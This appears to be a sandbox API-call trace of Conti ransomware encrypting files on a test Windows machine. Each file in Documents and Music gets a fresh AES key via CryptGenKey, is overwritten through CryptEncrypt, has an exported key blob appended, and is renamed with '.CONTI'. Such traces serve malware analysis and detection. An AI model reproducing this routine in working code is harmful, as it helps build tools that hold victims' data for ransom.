	[0141.146] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls"
	[0141.146] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls.CONTI"
	[0141.146] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\wj14hxj-0br9mne.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Wj14hXj-0BR9mne.xls.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\wj14hxj-0br9mne.xls.conti")) returned 1
	[0141.147] GetProcessHeap () returned 0x1720000
	[0141.147] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.147] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.147] GetProcessHeap () returned 0x1720000
	[0141.147] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740730 | out: hHeap=0x1720000) returned 1
	[0141.147] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.147] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a2c0 | out: phKey=0x6b4a2c0*=0x6b7f6b8) returned 1
	[0141.147] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a2c4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a2c4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.148] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ise9g2-yeodtk2ohsh6x.wav")) returned 0x20
	[0141.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ise9g2-yeodtk2ohsh6x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.148] GetLastError () returned 0x0
	[0141.148] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=58940) returned 1
	[0141.148] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe63c
	[0141.149] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.149] SetEndOfFile (hFile=0x458) returned 1
	[0141.149] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.149] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.149] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a2c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4a2c4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.155] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.155] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xe63c, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xe63c, lpOverlapped=0x0) returned 1
	[0141.156] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xe63c, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xe640) returned 1
	[0141.156] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.156] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xe640, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xe640, lpOverlapped=0x0) returned 1
	[0141.157] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.157] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a2b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4a2b8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.157] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.157] CloseHandle (hObject=0x458) returned 1
	[0141.157] GetProcessHeap () returned 0x1720000
	[0141.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.157] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav"
	[0141.157] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav.CONTI"
	[0141.157] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ise9g2-yeodtk2ohsh6x.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\iSE9G2-yEoDtk2oHSh6x.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ise9g2-yeodtk2ohsh6x.wav.conti")) returned 1
	[0141.158] GetProcessHeap () returned 0x1720000
	[0141.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.158] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.158] GetProcessHeap () returned 0x1720000
	[0141.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7ec8 | out: hHeap=0x1720000) returned 1
	[0141.158] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.158] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a508 | out: phKey=0x6b4a508*=0x6b7f6b8) returned 1
	[0141.158] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a50c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a50c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.159] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\u-0wh9zmpchr.m4a")) returned 0x20
	[0141.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\u-0wh9zmpchr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.159] GetLastError () returned 0x0
	[0141.159] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=86051) returned 1
	[0141.159] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15023
	[0141.159] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.159] SetEndOfFile (hFile=0x458) returned 1
	[0141.159] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.159] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.159] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a50c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4a50c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.178] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.178] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x15023, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x15023, lpOverlapped=0x0) returned 1
	[0141.186] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x15023, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x15030) returned 1
	[0141.187] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.187] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x15030, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x15030, lpOverlapped=0x0) returned 1
	[0141.187] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.187] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4a500*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.187] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.187] CloseHandle (hObject=0x458) returned 1
	[0141.187] GetProcessHeap () returned 0x1720000
	[0141.187] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.187] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a"
	[0141.187] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a.CONTI"
	[0141.187] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\u-0wh9zmpchr.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\u-0wh9zmPChr.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\u-0wh9zmpchr.m4a.conti")) returned 1
	[0141.188] GetProcessHeap () returned 0x1720000
	[0141.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.188] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.188] GetProcessHeap () returned 0x1720000
	[0141.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4f30 | out: hHeap=0x1720000) returned 1
	[0141.188] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.188] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b492c8 | out: phKey=0x6b492c8*=0x6b7f6b8) returned 1
	[0141.188] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b492cc, pdwDataLen=0x55ffb34 | out: pbData=0x6b492cc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.189] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\9cdkee.mp3")) returned 0x20
	[0141.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\9cdkee.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.189] GetLastError () returned 0x0
	[0141.189] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=42166) returned 1
	[0141.189] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa4b6
	[0141.189] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.189] SetEndOfFile (hFile=0x458) returned 1
	[0141.190] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.190] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.190] WriteFile (in: hFile=0x458, lpBuffer=0x6b492cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b492cc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.192] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.192] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xa4b6, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xa4b6, lpOverlapped=0x0) returned 1
	[0141.197] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xa4b6, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xa4c0) returned 1
	[0141.197] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.197] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xa4c0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xa4c0, lpOverlapped=0x0) returned 1
	[0141.197] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.197] WriteFile (in: hFile=0x458, lpBuffer=0x6b492c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b492c0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.197] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.198] CloseHandle (hObject=0x458) returned 1
	[0141.198] GetProcessHeap () returned 0x1720000
	[0141.198] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.198] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3"
	[0141.198] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3.CONTI"
	[0141.198] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\9cdkee.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\9CdKee.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\9cdkee.mp3.conti")) returned 1
	[0141.198] GetProcessHeap () returned 0x1720000
	[0141.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.198] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.198] GetProcessHeap () returned 0x1720000
	[0141.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a9c0 | out: hHeap=0x1720000) returned 1
	[0141.198] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0141.198] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a078 | out: phKey=0x6b4a078*=0x6b7f6b8) returned 1
	[0141.199] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a07c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a07c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0141.199] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\ebgo p8.wav")) returned 0x20
	[0141.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\ebgo p8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0141.200] GetLastError () returned 0x0
	[0141.200] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=61889) returned 1
	[0141.200] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf1c1
	[0141.200] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.200] SetEndOfFile (hFile=0x458) returned 1
	[0141.200] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.200] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.200] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a07c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4a07c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0141.202] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.202] ReadFile (in: hFile=0x458, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xf1c1, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xf1c1, lpOverlapped=0x0) returned 1
	[0141.211] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xf1c1, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xf1d0) returned 1
	[0141.211] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.211] WriteFile (in: hFile=0x458, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xf1d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xf1d0, lpOverlapped=0x0) returned 1
	[0141.212] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.212] WriteFile (in: hFile=0x458, lpBuffer=0x6b4a070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4a070*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0141.212] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.212] CloseHandle (hObject=0x458) returned 1
	[0141.212] GetProcessHeap () returned 0x1720000
	[0141.212] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.212] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav"
	[0141.212] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav.CONTI"
	[0141.212] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\ebgo p8.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\Ebgo p8.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\ebgo p8.wav.conti")) returned 1
	[0141.213] GetProcessHeap () returned 0x1720000
	[0141.213] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.213] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0141.213] GetProcessHeap () returned 0x1720000
	[0141.213] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7acc0 | out: hHeap=0x1720000) returned 1
	[0141.213] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
